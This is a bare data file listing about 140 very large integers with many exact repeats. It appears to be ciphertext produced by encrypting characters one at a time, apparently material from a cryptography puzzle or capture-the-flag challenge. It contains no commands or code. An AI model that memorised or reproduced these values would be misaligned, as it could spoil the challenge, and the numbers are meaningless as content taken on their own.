20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 52840621689121797895256363389338274694450461789829175087736646052885972599541176587393339836186116798179639665528641843475425650830795547188378088601848535424795824136246287654182750346069524432086206082201048105736692531622222816403756012329174735009131234941877426201644907061786470186383501136594209222405, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 39071839511948638988080907036852746654085273366404837973213329692814484554408908523546999438831321352816110395822192272922701572846039352688552458816923896373772472819785936751685465282644216513301671688378689515602296293965301386883552780271126801778759956341143215735911106078099952795281272294184101222894, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 